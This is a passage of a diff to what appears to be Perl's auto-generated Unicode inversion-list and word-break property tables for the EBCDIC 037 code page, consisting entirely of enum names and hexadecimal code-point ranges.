-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Numeric,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Perl_Tailored_HSpace,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_Extend,
-	WB_ZWJ,
-	WB_Format,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidLetter,
-	WB_Newline,
-	WB_Format,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Format,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Extend,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_MidNum,
-	WB_Other,
-	WB_MidLetter,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_MidNum,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidLetter,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Regional_Indicator,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Modifier,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base_GAZ,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other
-};
-
-#endif	/* defined(PERL_IN_REGEXEC_C) */
-
-#if defined(PERL_IN_REGCOMP_C)
-
-static const UV UpperLatin1_invlist[] = { /* for EBCDIC 037 */
-	57,	/* Number of elements */
+static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */
+	1541,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4,
 	0x5,
 	0x6,
-	0x7,
-	0x8,
 	0xB,
-	0x14,
-	0x16,
-	0x17,
-	0x18,
-	0x1A,
-	0x1C,
-	0x20,
-	0x25,
-	0x28,
-	0x2D,
-	0x30,
-	0x32,
-	0x33,
-	0x37,
-	0x38,
-	0x3C,
-	0x3E,
-	0x3F,
-	0x41,
-	0x4B,
-	0x51,
-	0x5A,
-	0x5F,
-	0x60,
-	0x62,
-	0x6B,
-	0x70,
-	0x79,
-	0x80,
-	0x81,
-	0x8A,
-	0x91,
-	0x9A,
-	0xA1,
-	0xAA,
-	0xB0,
-	0xB1,
-	0xBA,
-	0xBC,
-	0xC0,
-	0xCA,
-	0xD0,
-	0xDA,
-	0xE0,
-	0xE1,
-	0xE2,
-	0xEA,
-	0xF0,
-	0xFA,
-	0x100
-};
-
-#endif	/* defined(PERL_IN_REGCOMP_C) */
-
-#if defined(PERL_IN_PERL_C)
-
-static const UV VertSpace_invlist[] = { /* for EBCDIC 037 */
-	9,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0xB,
 	0xE,
 	0x15,
 	0x16,
 	0x25,
 	0x26,
-	0x2028,
-	0x202A
-};
-
-static const UV XPerlSpace_invlist[] = { /* for EBCDIC 037 */
-	23,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
 	0x40,
-	0x42,
-	0x1680,
-	0x1681,
-	0x2000,
-	0x200B,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
-};
-
-static const UV XPosixAlnum_invlist[] = { /* for EBCDIC 037 */
-	1377,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x42,
 	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
 	0x51,
-	0x5A,
+	0x5B,
+	0x5D,
+	0x5E,
+	0x60,
+	0x61,
 	0x62,
 	0x6A,
-	0x70,
+	0x6B,
+	0x6C,
+	0x6F,
 	0x79,
-	0x80,
-	0x8A,
-	0x8C,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
 	0x8F,
 	0x91,
 	0x9D,
@@ -85460,11 +342730,9 @@
 	0xAA,
 	0xAC,
 	0xAF,
-	0xC1,
-	0xCA,
-	0xCB,
-	0xD0,
-	0xD1,
+	0xBA,
+	0xBC,
+	0xC0,
 	0xDA,
 	0xDB,
 	0xE0,
@@ -85484,9 +342752,7 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x345,
-	0x346,
-	0x370,
+	0x300,
 	0x375,
 	0x376,
 	0x378,
@@ -85506,15 +342772,19 @@
 	0x3F6,
 	0x3F7,
 	0x482,
-	0x48A,
+	0x483,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
 	0x55A,
+	0x55D,
+	0x55E,
 	0x561,
 	0x588,
-	0x5B0,
+	0x589,
+	0x58A,
+	0x591,
 	0x5BE,
 	0x5BF,
 	0x5C0,
@@ -85527,56 +342797,46 @@
 	0x5D0,
 	0x5EB,
 	0x5F0,
-	0x5F3,
+	0x5F4,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
 	0x610,
 	0x61B,
-	0x620,
-	0x658,
-	0x659,
